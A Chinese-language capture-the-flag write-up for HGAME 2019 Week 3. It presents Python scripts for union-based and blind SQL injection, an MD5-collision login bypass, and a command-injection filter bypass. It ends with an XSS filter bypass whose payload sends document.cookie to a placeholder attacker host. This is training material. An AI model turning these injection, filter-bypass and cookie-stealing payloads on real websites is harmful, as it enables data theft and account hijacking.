<h3>HGAME 2019 Week3</h3>

<h4>1、sqli-1</h4>

打开题目发现有个MD5验证:
12.png
很简单python找个就可以了,方法很多这里用我常用的一种:


提交后发现提示:sql error. 根据题目提示sql 注入 参数是id还要提交id参数,加上id参数后又有验证码错误应该是每次都改变MD5验证:

每次都验证MD5手动太麻烦了,python脚本跑一下注入就可以,经过测试是带回显的普通注入,脚本的思路就是先获取MD5验证的值然后生成一个正确,提交进行sql查询。

# -- coding:utf-8 --
import requests
import hashlib

url = "http://118.89.111.179:3000/"
cookie = {
'PHPSESSID':'idquvdbi92fhi8erjh51bvg2f8'
}

def md5code():
    r = requests.get(url=url,cookies=cookie)
    ans = ''
    code = r.text[35:39]
    for i in range(0,9999999):
        if hashlib.md5(str(i)).hexdigest()[0:4] == str(code):
            ans = str(i)
            break
    return ans

def sqli(sql):
    code = md5code()
    url1 = url + "?code=" + code + "&id=" + sql
    r = requests.get(url=url1, cookies=cookie)    
    print r.content

sql = "1"
sql = "1' or 1 = 1#"
sql = "1 order by 1"
sql = "-1 union select database()#"
sql = "-1 union select group_concat(table_name) from information_schema.tables where table_schema = 'hgame'#"
sql = "-1 union select group_concat(column_name) from information_schema.columns where table_name = 'f1l1l1l1g'#"
sql = "-1 union select group_concat(f14444444g) from f1l1l1l1g #"

sqli(sql)


<h4>2、sqli-2</h4>

第一个注入是简单的联合查询注入,而这一个题目是个盲注,说到只会告诉你sql语句是否执行
通过简单fuzz,发现对于sql语句的执行情况,有两种回显,分别是:
sql errorsql executed可以用这两种不同的回显来判断语句是否正确进行盲注。
想到以前遇到过的if条件语句加整数溢出进行盲注。
Payload:1 and if ((1=2),exp(999999999999),1)#
当if成立时,执行exp(999999999999),报错,显示sql error.
当if不成立时,执行1,显示sql executed.


思路与上题一样,先是获取验证码然后再写入sql注入语句进行注入,只不过这里的注入语句不再是简单的联合查询注入,而是利用if语句判断sql语句是否正确来盲注。

# -- coding:utf-8 --
import requests
import hashlib
import string

url = "http://118.89.111.179:3001/"
cookie = {
'PHPSESSID':'idquvdbi92fhi8erjh51bvg2f8'
}

def md5code():
    r = requests.get(url=url,cookies=cookie)
    ans = ''
    code = r.text[79:83]
    for i in range(0,9999999):
        if hashlib.md5(str(i)).hexdigest()[0:4] == str(code):
            ans = str(i)
            break
    return ans

def sqli(sql):
    code = md5code()
    url1 = url + "?code=" + code + "&id=" + sql
    r = requests.get(url=url1, cookies=cookie)    
    return r.content

#sql = "1"
#sql = "1' or 1 = 1#"
#sql = "1 order by 1"
#sql = "-1 union select database()#"
#sql = "-1 union select group_concat(table_name) from information_schema.tables where table_schema = 'hgame'#"
#sql = "-1 union select group_concat(column_name) from information_schema.columns where table_name = 'f1l1l1l1g'#"
#sql = "-1 union select group_concat(f14444444g) from f1l1l1l1g #"
#sql = "1 and if ((1=2),exp(999999999999),1)#"

flag = ''
dic = string.ascii_letters + string.digits + string.punctuation
#v = "database() " #hgame
#v = "select group_concat(table_name) from information_schema.tables where table_schema = 'hgame'"#F11111114G
#v = "select group_concat(column_name) from information_schema.columns where table_name = 'F11111114G'"#fL4444Ag
#v = "select group_concat(fL4444Ag) from F11111114G"#hgame{sqli_1s_s0_s0_s0_s0_interesting}
for j in range(0,50):
    for m in dic:
        sql = "1 and if((ascii(substr((select group_concat(fL4444Ag) from F11111114G),%d,1))=%d),exp(999999999999),1)#" %(j,ord(m))
        if "error" in sqli(sql):
            flag += m
            print flag
            break



跑的时候有点小错误,很容易纠正的。。

<h4>3、神器的md5</h4>

打开题目发现只可以登陆,尝试几次弱密码不行,扫描下发现有源码泄露:
.login.php.swp需要用vim -r 恢复源码,得到源码:

审计发现就是一个简单的MD5相等验证。刚开始还以为是数组绕过,但是又发现对值进行转string因此不能用数组绕过,只能强行碰撞MD5绕过。
百度了很久发现大多碰撞都是两个值相等,而这个题目需要三个。并且MD5碰撞用到的方法是文件、图片或一段数据的MD5相等。Github上有一个项目是生成MD5相等的多个文件可以利用。
先用工具生成MD5相等的文件,然后给三个值分别赋值三个文件,用脚本POST提交,得到cookie,再用cookie登陆。
利用这个工具先安装libboost-all-dev
ubuntu下:apt-get install libboost-all-dev; python3 gen_coll_test.py

可以看到生成了大量MD5相等的文件,接下来赋值提交就可以,POST脚本:

得到cookies后修改cookie登陆。
脚本在windows下跑了无数遍不行,又是Smi1e师傅点醒了我。。在linux下成功执行,得到cookie。

修改cookie后访问admin.php,得到一个查询页面,猜测是命令执行:

执行cat admin.php得到admin.php的源码:

审计发现waf会把flag转化为none,绕过即可:
执行cat /'f'l''a'g':

<h4>4、babyxss</h4>

第一次做xss的题目,这是一道基础的xss打cookies的题目。
通过简单测试发现过滤了<script>因此可以双写绕过,<scr<script>ipt>
首先看看能否弹窗:
<scr<script>ipt>alert(1)</scr<script>ipt>

发现成功弹窗。
然后弹下cookie:
<scr<script>ipt>alert(document.cookie)</scr<script>ipt>

成功弹出当前用户的cookie。
接下来使得cookie能够远程获取:
<scr<script>ipt>window.open('http://xxx.xxx.xxx.xxx/xss.php?cookie='+document.cookie)</scr</script>ipt>
当用户访问存在该代码的页面时,便会自动跳转访问我们预先写好的页面,并且通过GET的方式向我们提交了cookie。写好的php文件:

在自己的vps上测试即可,这时需要输入验证码自动访问